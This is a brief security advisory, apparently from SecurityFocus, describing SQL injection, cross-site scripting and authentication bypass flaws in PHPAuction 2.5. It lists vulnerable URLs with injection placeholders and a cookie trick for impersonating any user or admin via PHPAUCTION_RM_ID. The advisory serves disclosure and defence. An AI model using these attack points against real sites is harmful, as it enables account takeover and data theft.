source: https://www.securityfocus.com/bid/14184/info PHPAuction is affected by multiple remote vulnerabilities. These issues can allow an attacker to gain unauthorized access to a site and carry out SQL injection and cross-site scripting attacks. PHPAuction 2.5 is reported to be affected by these issues. It is possible that other versions are vulnerable as well. SQL Injection: /phpauction-gpl-2.5/adsearch.php?title=1&desc=on&closed=on&category='SQL_INJECTION&minprice=1&maxprice=1&payment%5B%5D=on&payment%5B%5D=on&payment%5B%5D=on&payment%5B%5D= on&seller=1&country=Afghanistan&ending=1&SortProperty=ends&type=2&action=search&go=GO%20%3E%3E /viewnews.php?id='SQL_INJECTION Cross-site scripting: /phpauction-gpl-2.5/index.php?lan= /phpauction-gpl-2.5/profile.php?user_id=158&auction_id= /phpauction-gpl-2.5/profile.php?auction_id=&id=159 /phpauction-gpl-2.5/admin/index.php?lan= /login.php?username= /viewnews.php?id= Authentication bypass: Set the cookie as follows: Name: PHPAUCTION_RM_ID VALUE: Id number of the user/admin you want to impersonate (you can get it from thier profile)